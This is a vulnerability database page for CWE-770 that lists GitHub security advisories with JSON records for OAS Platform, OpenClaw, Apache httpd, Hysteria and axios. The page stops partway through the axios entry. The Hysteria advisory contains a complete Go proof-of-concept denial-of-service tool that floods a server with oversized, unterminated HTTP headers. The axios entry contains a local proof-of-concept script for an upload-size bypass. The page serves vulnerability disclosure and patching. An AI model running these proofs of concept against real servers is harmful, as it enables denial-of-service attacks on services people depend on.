Common Weakness Enumeration

CWE-770

Allowed

Allocation of Resources Without Limits or Throttling

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.

3098 vulnerabilities reference this CWE, most recent first.

GHSA-JQ2M-G95W-VJJQ

Vulnerability from github – Published: 2023-09-05 18:30 – Updated: 2024-04-04 07:29
VLAI
Details

An improper resource allocation vulnerability exists in the OAS Engine configuration management functionality of Open Automation Software OAS Platform v18.00.0072. A specially crafted series of network requests can lead to creation of an arbitrary directory. An attacker can send a sequence of requests to trigger this vulnerability.

Severity
3.1 (Low)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-34994"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-09-05T17:15:09Z",
    "severity": "MODERATE"
  },
  "details": "An improper resource allocation vulnerability exists in the OAS Engine configuration management functionality of Open Automation Software OAS Platform v18.00.0072. A specially crafted series of network requests can lead to creation of an arbitrary directory. An attacker can send a sequence of requests to trigger this vulnerability.",
  "id": "GHSA-jq2m-g95w-vjjq",
  "modified": "2024-04-04T07:29:12Z",
  "published": "2023-09-05T18:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34994"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1773"
    },
    {
      "type": "WEB",
      "url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1773"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JQ3F-VJWW-8RQ7

Vulnerability from github – Published: 2026-03-16 20:40 – Updated: 2026-04-01 00:05
VLAI
Summary
OpenClaw Telegram webhook request bodies were read before secret validation, enabling unauthenticated resource exhaustion
Details

Summary

openclaw versions <= 2026.3.12 read and buffered Telegram webhook request bodies before validating x-telegram-bot-api-secret-token. This let unauthenticated callers force up to the configured webhook body limit of pre-auth body I/O and JSON parse work per request.

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: <= 2026.3.12
  • Fixed version: 2026.3.13

Details

The vulnerable path was the standalone Telegram webhook listener in src/telegram/webhook.ts. In affected releases, the request handler accepted POST requests, called readJsonBodyWithLimit(...), and only then checked the Telegram secret header. Because the secret validation happened after body reading, an unauthenticated caller could make the server spend memory, socket time, and JSON parse work on requests that should have been rejected before any body processing.

This issue is in scope under OpenClaw's trust model because the Telegram webhook endpoint accepts untrusted network traffic and the secret header is the authentication boundary for that ingress path.

Fix

openclaw@2026.3.13 validates the Telegram webhook secret before any body I/O. Current code reads the header, rejects invalid requests immediately with 401, and only calls readJsonBodyWithLimit(...) after hasValidTelegramWebhookSecret(...) succeeds.

Regression coverage exists in src/telegram/webhook.test.ts (rejects unauthenticated requests before reading the request body).

Fix Commit(s)

  • 7e49e98f79073b11134beac27fdff547ba5a4a02

Thanks @space08 for reporting.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2026.3.12"
      },
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.3.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32980"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-16T20:40:57Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n`openclaw` versions `\u003c= 2026.3.12` read and buffered Telegram webhook request bodies before validating `x-telegram-bot-api-secret-token`. This let unauthenticated callers force up to the configured webhook body limit of pre-auth body I/O and JSON parse work per request.\n\n### Affected Packages / Versions\n- Package: `openclaw` (`npm`)\n- Affected versions: `\u003c= 2026.3.12`\n- Fixed version: `2026.3.13`\n\n### Details\nThe vulnerable path was the standalone Telegram webhook listener in `src/telegram/webhook.ts`. In affected releases, the request handler accepted `POST` requests, called `readJsonBodyWithLimit(...)`, and only then checked the Telegram secret header. Because the secret validation happened after body reading, an unauthenticated caller could make the server spend memory, socket time, and JSON parse work on requests that should have been rejected before any body processing.\n\nThis issue is in scope under OpenClaw\u0027s trust model because the Telegram webhook endpoint accepts untrusted network traffic and the secret header is the authentication boundary for that ingress path.\n\n### Fix\n`openclaw@2026.3.13` validates the Telegram webhook secret before any body I/O. Current code reads the header, rejects invalid requests immediately with `401`, and only calls `readJsonBodyWithLimit(...)` after `hasValidTelegramWebhookSecret(...)` succeeds.\n\nRegression coverage exists in `src/telegram/webhook.test.ts` (`rejects unauthenticated requests before reading the request body`).\n\n### Fix Commit(s)\n- `7e49e98f79073b11134beac27fdff547ba5a4a02`\n\nThanks @space08 for reporting.",
  "id": "GHSA-jq3f-vjww-8rq7",
  "modified": "2026-04-01T00:05:51Z",
  "published": "2026-03-16T20:40:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-jq3f-vjww-8rq7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32980"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/7e49e98f79073b11134beac27fdff547ba5a4a02"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-resource-exhaustion-via-unauthenticated-telegram-webhook-request"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw Telegram webhook request bodies were read before secret validation, enabling unauthenticated resource exhaustion"
}

GHSA-JQ5M-VPG7-GHPV

Vulnerability from github – Published: 2022-06-10 00:00 – Updated: 2022-06-17 00:01
VLAI
Details

In Apache HTTP Server 2.4.53 and earlier, a malicious request to a lua script that calls r:parsebody(0) may cause a denial of service due to no default limit on possible input size.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-29404"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-09T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "In Apache HTTP Server 2.4.53 and earlier, a malicious request to a lua script that calls r:parsebody(0) may cause a denial of service due to no default limit on possible input size.",
  "id": "GHSA-jq5m-vpg7-ghpv",
  "modified": "2022-06-17T00:01:28Z",
  "published": "2022-06-10T00:00:55Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29404"
    },
    {
      "type": "WEB",
      "url": "https://httpd.apache.org/security/vulnerabilities_24.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7QUGG2QZWHTITMABFLVXA4DNYUOTPWYQ"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YPY2BLEVJWFH34AX77ZJPLD2OOBYR6ND"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202208-20"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220624-0005"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/06/08/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JQC5-2P7Q-FQFC

Vulnerability from github – Published: 2026-06-26 20:19 – Updated: 2026-06-26 20:19
VLAI
Summary
Hysteria: http large header with sniff cause server DoS
Details

Summary

Sending an excessively large header by an attacker could lead to a server-side DoS attack.

Details

The current sniff implementation does not explicitly specify the upper limit for HTTP headers. Attackers can continuously send excessively large headers without including \r\n\r\n, leading to ServerDoS and OutOfMemory errors.

PoC

server.yaml

listen: 127.0.0.1:8443

tls:
  cert: poc_server.crt
  key: poc_server.key

auth:
  type: password
  password: sniff-poc-password

sniff:
  enable: true
  timeout: 10s
  rewriteDomain: false
  tcpPorts: 80

masquerade:
  type: string
  string:
    content: nope
    statusCode: 404

poc.sh

#!/bin/bash
go build poc_sniff_http_dos.go
./poc_sniff_http_dos \
    --server 127.0.0.1:8443 \
    --auth sniff-poc-password \
    --insecure \
    --target-host 192.0.2.1 \
    --target-port 80 \
    --connections 16 \
    --header-bytes 838860800 \
    --linger 12

poc.go

//go:build poc

package main

import (
    "crypto/sha256"
    "crypto/x509"
    "encoding/hex"
    "errors"
    "flag"
    "fmt"
    "net"
    "strings"
    "sync"
    "time"

    coreclient "github.com/apernet/hysteria/core/v2/client"
    "github.com/apernet/hysteria/extras/v2/obfs"
)

type attackConnFactory struct {
    obfuscator obfs.Obfuscator
}

func (f *attackConnFactory) New(_ net.Addr) (net.PacketConn, error) {
    conn, err := net.ListenUDP("udp", nil)
    if err != nil {
        return nil, err
    }
    if f.obfuscator == nil {
        return conn, nil
    }
    return obfs.WrapPacketConn(conn, f.obfuscator), nil
}

func buildHeaderPayload(totalBytes, chunkSize int) []byte {
    prefix := []byte("GET / HTTP/1.1\r\nHost: victim\r\nUser-Agent: hy2-sniff-poc\r\n")
    if totalBytes <= len(prefix) {
        return prefix[:totalBytes]
    }
    out := make([]byte, 0, totalBytes)
    out = append(out, prefix...)
    linePayload := chunkSize - 32
    if linePayload < 64 {
        linePayload = 64
    }
    for i := 0; len(out) < totalBytes; i++ {
        line := fmt.Sprintf("X-Fill-%06d: %s\r\n", i, strings.Repeat("A", linePayload))
        remain := totalBytes - len(out)
        if len(line) > remain {
            line = line[:remain]
        }
        out = append(out, line...)
    }
    // 故意不追加最后一个空行 \r\n，迫使服务端在 sniff timeout 内持续读 header。
    return out
}

func makeClient(server, auth, sni string, insecure bool, pinSHA256, salamanderPSK string) (coreclient.Client, error) {
    serverAddr, err := net.ResolveUDPAddr("udp", server)
    if err != nil {
        return nil, err
    }
    cfg := &coreclient.Config{
        ConnFactory: &attackConnFactory{},
        ServerAddr:  serverAddr,
        Auth:        auth,
        TLSConfig: coreclient.TLSConfig{
            InsecureSkipVerify: insecure,
        },
    }
    host, _, err := net.SplitHostPort(server)
    if err == nil && sni == "" && net.ParseIP(host) == nil {
        cfg.TLSConfig.ServerName = host
    }
    if sni != "" {
        cfg.TLSConfig.ServerName = sni
    }
    if pinSHA256 != "" {
        nHash := strings.ToLower(strings.ReplaceAll(pinSHA256, ":", ""))
        cfg.TLSConfig.VerifyPeerCertificate = func(rawCerts [][]byte, _ [][]*x509.Certificate) error {
            if len(rawCerts) == 0 {
                return errors.New("no peer certificate")
            }
            h := sha256.Sum256(rawCerts[0])
            if hex.EncodeToString(h[:]) == nHash {
                return nil
            }
            return errors.New("no certificate matches the pinned hash")
        }
    }
    if salamanderPSK != "" {
        ob, err := obfs.NewSalamanderObfuscator([]byte(salamanderPSK))
        if err != nil {
            return nil, err
        }
        cfg.ConnFactory = &attackConnFactory{obfuscator: ob}
    }
    c, _, err := coreclient.NewClient(cfg)
    return c, err
}

func worker(id int, c coreclient.Client, target string, payload []byte, sendChunk int, linger time.Duration, results []string) {
    conn, err := c.TCP(target)
    if err != nil {
        results[id] = fmt.Sprintf("worker=%d dial error=%v", id, err)
        return
    }
    defer conn.Close()
    _ = conn.SetWriteDeadline(time.Now().Add(linger))
    sent := 0
    for sent < len(payload) {
        end := sent + sendChunk
        if end > len(payload) {
            end = len(payload)
        }
        n, err := conn.Write(payload[sent:end])
        if err != nil {
            results[id] = fmt.Sprintf("worker=%d partial_sent=%d error=%v", id, sent, err)
            return
        }
        sent += n
    }
    time.Sleep(linger)
    results[id] = fmt.Sprintf("worker=%d sent=%d", id, sent)
}

func main() {
    server := flag.String("server", "", "Hysteria server address, e.g. 1.2.3.4:443")
    auth := flag.String("auth", "", "Hysteria auth string/password")
    sni := flag.String("sni", "", "optional TLS SNI")
    insecure := flag.Bool("insecure", false, "skip TLS verification")
    pinSHA256 := flag.String("pin-sha256", "", "optional pinned server cert SHA256")
    salamanderPSK := flag.String("obfs-salamander-password", "", "optional salamander obfs password")
    targetHost := flag.String("target-host", "192.0.2.1", "must usually be an IP so sniff.Check() runs when rewriteDomain=false")
    targetPort := flag.Int("target-port", 80, "target port that should be covered by server sniff.tcpPorts")
    connections := flag.Int("connections", 16, "number of concurrent Hysteria TCP streams")
    headerBytes := flag.Int("header-bytes", 8*1024*1024, "bytes of incomplete HTTP header per stream")
    buildChunk := flag.Int("build-chunk", 8192, "approximate size of generated filler header lines")
    sendChunk := flag.Int("send-chunk", 64*1024, "bytes written per conn.Write call")
    lingerSec := flag.Float64("linger", 12, "seconds to keep each stream open after writing")
    flag.Parse()

    if *server == "" || *auth == "" {
        panic("--server and --auth are required")
    }
    if !*insecure && *pinSHA256 == "" {
        panic("provide one of: --insecure / --pin-sha256")
    }

    payload := buildHeaderPayload(*headerBytes, *buildChunk)
    target := net.JoinHostPort(*targetHost, fmt.Sprintf("%d", *targetPort))
    linger := time.Duration(*lingerSec * float64(time.Second))

    fmt.Printf("[*] server=%s target=%s streams=%d payload=%d\n", *server, target, *connections, len(payload))

    c, err := makeClient(*server, *auth, *sni, *insecure, *pinSHA256, *salamanderPSK)
    if err != nil {
        panic(err)
    }
    defer c.Close()

    results := make([]string, *connections)
    var wg sync.WaitGroup
    start := time.Now()
    for i := 0; i < *connections; i++ {
        wg.Add(1)
        go func(i int) {
            defer wg.Done()
            worker(i, c, target, payload, *sendChunk, linger, results)
        }(i)
    }

    wg.Wait()
    fmt.Printf("[*] elapsed=%s\n", time.Since(start).Round(time.Millisecond))
    for _, line := range results {
        fmt.Printf("    %s\n", line)
    }
    fmt.Println("[+] sent incomplete oversized HTTP headers; check server-side memory / stability")
}

Impact

Testing showed that the server side used a maximum of 16GB.

Server memory DoS and may cause OOM.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/apernet/hysteria"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T20:19:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nSending an excessively large header by an attacker could lead to a server-side DoS attack.\n\n### Details\nThe current sniff implementation does not explicitly specify the upper limit for HTTP headers. Attackers can continuously send excessively large headers without including \\r\\n\\r\\n, leading to ServerDoS and OutOfMemory errors.\n\n### PoC\n\nserver.yaml\n```\nlisten: 127.0.0.1:8443\n\ntls:\n  cert: poc_server.crt\n  key: poc_server.key\n\nauth:\n  type: password\n  password: sniff-poc-password\n\nsniff:\n  enable: true\n  timeout: 10s\n  rewriteDomain: false\n  tcpPorts: 80\n\nmasquerade:\n  type: string\n  string:\n    content: nope\n    statusCode: 404\n```\n\npoc.sh\n```\n#!/bin/bash\ngo build poc_sniff_http_dos.go\n./poc_sniff_http_dos \\\n    --server 127.0.0.1:8443 \\\n    --auth sniff-poc-password \\\n    --insecure \\\n    --target-host 192.0.2.1 \\\n    --target-port 80 \\\n    --connections 16 \\\n    --header-bytes 838860800 \\\n    --linger 12\n```\n\npoc.go\n```\n//go:build poc\n\npackage main\n\nimport (\n\t\"crypto/sha256\"\n\t\"crypto/x509\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"flag\"\n\t\"fmt\"\n\t\"net\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\tcoreclient \"github.com/apernet/hysteria/core/v2/client\"\n\t\"github.com/apernet/hysteria/extras/v2/obfs\"\n)\n\ntype attackConnFactory struct {\n\tobfuscator obfs.Obfuscator\n}\n\nfunc (f *attackConnFactory) New(_ net.Addr) (net.PacketConn, error) {\n\tconn, err := net.ListenUDP(\"udp\", nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif f.obfuscator == nil {\n\t\treturn conn, nil\n\t}\n\treturn obfs.WrapPacketConn(conn, f.obfuscator), nil\n}\n\nfunc buildHeaderPayload(totalBytes, chunkSize int) []byte {\n\tprefix := []byte(\"GET / HTTP/1.1\\r\\nHost: victim\\r\\nUser-Agent: hy2-sniff-poc\\r\\n\")\n\tif totalBytes \u003c= len(prefix) {\n\t\treturn prefix[:totalBytes]\n\t}\n\tout := make([]byte, 0, totalBytes)\n\tout = append(out, prefix...)\n\tlinePayload := chunkSize - 32\n\tif linePayload \u003c 64 {\n\t\tlinePayload = 64\n\t}\n\tfor i := 0; len(out) \u003c totalBytes; i++ {\n\t\tline := fmt.Sprintf(\"X-Fill-%06d: %s\\r\\n\", i, strings.Repeat(\"A\", linePayload))\n\t\tremain := totalBytes - len(out)\n\t\tif len(line) \u003e remain {\n\t\t\tline = line[:remain]\n\t\t}\n\t\tout = append(out, line...)\n\t}\n\t// \u6545\u610f\u4e0d\u8ffd\u52a0\u6700\u540e\u4e00\u4e2a\u7a7a\u884c \\r\\n\uff0c\u8feb\u4f7f\u670d\u52a1\u7aef\u5728 sniff timeout \u5185\u6301\u7eed\u8bfb header\u3002\n\treturn out\n}\n\nfunc makeClient(server, auth, sni string, insecure bool, pinSHA256, salamanderPSK string) (coreclient.Client, error) {\n\tserverAddr, err := net.ResolveUDPAddr(\"udp\", server)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tcfg := \u0026coreclient.Config{\n\t\tConnFactory: \u0026attackConnFactory{},\n\t\tServerAddr:  serverAddr,\n\t\tAuth:        auth,\n\t\tTLSConfig: coreclient.TLSConfig{\n\t\t\tInsecureSkipVerify: insecure,\n\t\t},\n\t}\n\thost, _, err := net.SplitHostPort(server)\n\tif err == nil \u0026\u0026 sni == \"\" \u0026\u0026 net.ParseIP(host) == nil {\n\t\tcfg.TLSConfig.ServerName = host\n\t}\n\tif sni != \"\" {\n\t\tcfg.TLSConfig.ServerName = sni\n\t}\n\tif pinSHA256 != \"\" {\n\t\tnHash := strings.ToLower(strings.ReplaceAll(pinSHA256, \":\", \"\"))\n\t\tcfg.TLSConfig.VerifyPeerCertificate = func(rawCerts [][]byte, _ [][]*x509.Certificate) error {\n\t\t\tif len(rawCerts) == 0 {\n\t\t\t\treturn errors.New(\"no peer certificate\")\n\t\t\t}\n\t\t\th := sha256.Sum256(rawCerts[0])\n\t\t\tif hex.EncodeToString(h[:]) == nHash {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t\treturn errors.New(\"no certificate matches the pinned hash\")\n\t\t}\n\t}\n\tif salamanderPSK != \"\" {\n\t\tob, err := obfs.NewSalamanderObfuscator([]byte(salamanderPSK))\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tcfg.ConnFactory = \u0026attackConnFactory{obfuscator: ob}\n\t}\n\tc, _, err := coreclient.NewClient(cfg)\n\treturn c, err\n}\n\nfunc worker(id int, c coreclient.Client, target string, payload []byte, sendChunk int, linger time.Duration, results []string) {\n\tconn, err := c.TCP(target)\n\tif err != nil {\n\t\tresults[id] = fmt.Sprintf(\"worker=%d dial error=%v\", id, err)\n\t\treturn\n\t}\n\tdefer conn.Close()\n\t_ = conn.SetWriteDeadline(time.Now().Add(linger))\n\tsent := 0\n\tfor sent \u003c len(payload) {\n\t\tend := sent + sendChunk\n\t\tif end \u003e len(payload) {\n\t\t\tend = len(payload)\n\t\t}\n\t\tn, err := conn.Write(payload[sent:end])\n\t\tif err != nil {\n\t\t\tresults[id] = fmt.Sprintf(\"worker=%d partial_sent=%d error=%v\", id, sent, err)\n\t\t\treturn\n\t\t}\n\t\tsent += n\n\t}\n\ttime.Sleep(linger)\n\tresults[id] = fmt.Sprintf(\"worker=%d sent=%d\", id, sent)\n}\n\nfunc main() {\n\tserver := flag.String(\"server\", \"\", \"Hysteria server address, e.g. 1.2.3.4:443\")\n\tauth := flag.String(\"auth\", \"\", \"Hysteria auth string/password\")\n\tsni := flag.String(\"sni\", \"\", \"optional TLS SNI\")\n\tinsecure := flag.Bool(\"insecure\", false, \"skip TLS verification\")\n\tpinSHA256 := flag.String(\"pin-sha256\", \"\", \"optional pinned server cert SHA256\")\n\tsalamanderPSK := flag.String(\"obfs-salamander-password\", \"\", \"optional salamander obfs password\")\n\ttargetHost := flag.String(\"target-host\", \"192.0.2.1\", \"must usually be an IP so sniff.Check() runs when rewriteDomain=false\")\n\ttargetPort := flag.Int(\"target-port\", 80, \"target port that should be covered by server sniff.tcpPorts\")\n\tconnections := flag.Int(\"connections\", 16, \"number of concurrent Hysteria TCP streams\")\n\theaderBytes := flag.Int(\"header-bytes\", 8*1024*1024, \"bytes of incomplete HTTP header per stream\")\n\tbuildChunk := flag.Int(\"build-chunk\", 8192, \"approximate size of generated filler header lines\")\n\tsendChunk := flag.Int(\"send-chunk\", 64*1024, \"bytes written per conn.Write call\")\n\tlingerSec := flag.Float64(\"linger\", 12, \"seconds to keep each stream open after writing\")\n\tflag.Parse()\n\n\tif *server == \"\" || *auth == \"\" {\n\t\tpanic(\"--server and --auth are required\")\n\t}\n\tif !*insecure \u0026\u0026 *pinSHA256 == \"\" {\n\t\tpanic(\"provide one of: --insecure / --pin-sha256\")\n\t}\n\n\tpayload := buildHeaderPayload(*headerBytes, *buildChunk)\n\ttarget := net.JoinHostPort(*targetHost, fmt.Sprintf(\"%d\", *targetPort))\n\tlinger := time.Duration(*lingerSec * float64(time.Second))\n\n\tfmt.Printf(\"[*] server=%s target=%s streams=%d payload=%d\\n\", *server, target, *connections, len(payload))\n\n\tc, err := makeClient(*server, *auth, *sni, *insecure, *pinSHA256, *salamanderPSK)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tdefer c.Close()\n\n\tresults := make([]string, *connections)\n\tvar wg sync.WaitGroup\n\tstart := time.Now()\n\tfor i := 0; i \u003c *connections; i++ {\n\t\twg.Add(1)\n\t\tgo func(i int) {\n\t\t\tdefer wg.Done()\n\t\t\tworker(i, c, target, payload, *sendChunk, linger, results)\n\t\t}(i)\n\t}\n\n\twg.Wait()\n\tfmt.Printf(\"[*] elapsed=%s\\n\", time.Since(start).Round(time.Millisecond))\n\tfor _, line := range results {\n\t\tfmt.Printf(\"    %s\\n\", line)\n\t}\n\tfmt.Println(\"[+] sent incomplete oversized HTTP headers; check server-side memory / stability\")\n}\n\n```\n### Impact\n\nTesting showed that the server side used a maximum of 16GB.\n\nServer memory DoS and may cause OOM.",
  "id": "GHSA-jqc5-2p7q-fqfc",
  "modified": "2026-06-26T20:19:01Z",
  "published": "2026-06-26T20:19:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apernet/hysteria/security/advisories/GHSA-jqc5-2p7q-fqfc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apernet/hysteria"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hysteria: http large header with sniff cause server DoS"
}

GHSA-JQH4-M9W3-8HP9

Vulnerability from github – Published: 2026-07-20 22:27 – Updated: 2026-07-20 22:27
VLAI
Summary
Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`
Details

Summary

axios’ fetch adapter does not enforce maxBodyLength for live WHATWG ReadableStream request bodies whose size cannot be determined before dispatch. Applications that use adapter: "fetch" and rely on maxBodyLength to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit.

This affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected.

Impact

An attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth.

This does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on maxBodyLength as the size guard.

Affected Functionality

Affected: - adapter: "fetch" or environments where axios selects the fetch adapter. - Request methods with bodies, such as POST, PUT, and PATCH. - data as a WHATWG ReadableStream without a reliable Content-Length. - Configurations that set maxBodyLength to a finite value.

Not affected: - Axios versions before the fetch adapter was introduced. - The Node HTTP adapter stream enforcement path. - Known-length fetch-adapter bodies in 1.16.0+, such as strings, Blob, ArrayBuffer, ArrayBufferView, URLSearchParams, spec-compliant FormData, or requests with a finite Content-Length.

Technical Details

In lib/adapters/fetch.js, getBodyLength() handles null bodies, Blob, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for ReadableStream, so resolveBodyLength(headers, data) returns undefined when no finite Content-Length header is present.

The maxBodyLength check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to fetch().

When onUploadProgress is enabled, axios wraps the request body with trackStream(), but that wrapper only reports progress. It does not receive maxBodyLength and does not abort once loaded bytes exceed the cap.

The expected behavior exists in the HTTP adapter: lib/adapters/http.js enforces maxBodyLength for streamed uploads by counting chunks and rejecting with ERR_BAD_REQUEST.

Proof of Concept of Attack

Run from the axios repo root on Node 18+ against an affected version:

import http from 'node:http';
import axios from './index.js';

const LIMIT = 1024;
const PAYLOAD_BYTES = 2 * 1024 * 1024;

const server = http.createServer((req, res) => {
  let received = 0;
  req.on('data', (chunk) => {
    received += chunk.length;
  });
  req.on('end', () => {
    res.writeHead(200, { 'content-type': 'application/json' });
    res.end(JSON.stringify({ received, limit: LIMIT }));
  });
});

await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
const { port } = server.address();

function makeReadableStream(totalBytes) {
  const chunk = new Uint8Array(64 * 1024).fill(0x42);
  let remaining = totalBytes;

  return new ReadableStream({
    pull(controller) {
      if (remaining <= 0) {
        controller.close();
        return;
      }

      const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining);
      remaining -= next.length;
      controller.enqueue(next);
    },
  });
}

try {
  const response = await axios.post(
    `http://127.0.0.1:${port}/upload`,
    makeReadableStream(PAYLOAD_BYTES),
    {
      adapter: 'fetch',
      maxBodyLength: LIMIT,
      headers: { 'content-type': 'application/octet-stream' },
    }
  );

  console.log(response.data);
} finally {
  server.close();
}

Expected vulnerable result: the server reports received: 2097152 even though maxBodyLength is 1024.

Workarounds

Use the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter maxBodyLength for unknown-length ReadableStream bodies until a fixed axios version is available.

Original Report ### Summary axios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium. ### Details In lib/adapters/fetch.js, body-length resolution has no ReadableStream branch: fetch.js Lines 121-155 
  const getBodyLength = async (body) => {
    if (body == null) {
      return 0;
    }
    if (utils.isBlob(body)) {
      return body.size;
    }
    if (utils.isSpecCompliantForm(body)) {
      const _request = new Request(platform.origin, {
        method: 'POST',
        body,
      });
      return (await _request.arrayBuffer()).byteLength;
    }
    if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) {
      return body.byteLength;
    }
    if (utils.isURLSearchParams(body)) {
      body = body + '';
    }
    if (utils.isString(body)) {
      return (await encodeText(body)).byteLength;
    }
  };
  const resolveBodyLength = async (headers, body) => {
    const length = utils.toFiniteNumber(headers.getContentLength());
    return length == null ? getBodyLength(body) : length;
  };
For a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite: fetch.js Lines 214-232 
      // Enforce maxBodyLength against the outbound request body before dispatch.
      // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than
      // maxBodyLength limit'). Skip when the body length cannot be determined
      // (e.g. a live ReadableStream supplied by the caller).
      if (hasMaxBodyLength && method !== 'get' && method !== 'head') {
        const outboundLength = await resolveBodyLength(headers, data);
        if (
          typeof outboundLength === 'number' &&
          isFinite(outboundLength) &&
          outboundLength > maxBodyLength
        ) {
          throw new AxiosError(
            'Request body larger than maxBodyLength limit',
            AxiosError.ERR_BAD_REQUEST,
            config,
            request
          );
        }
      }
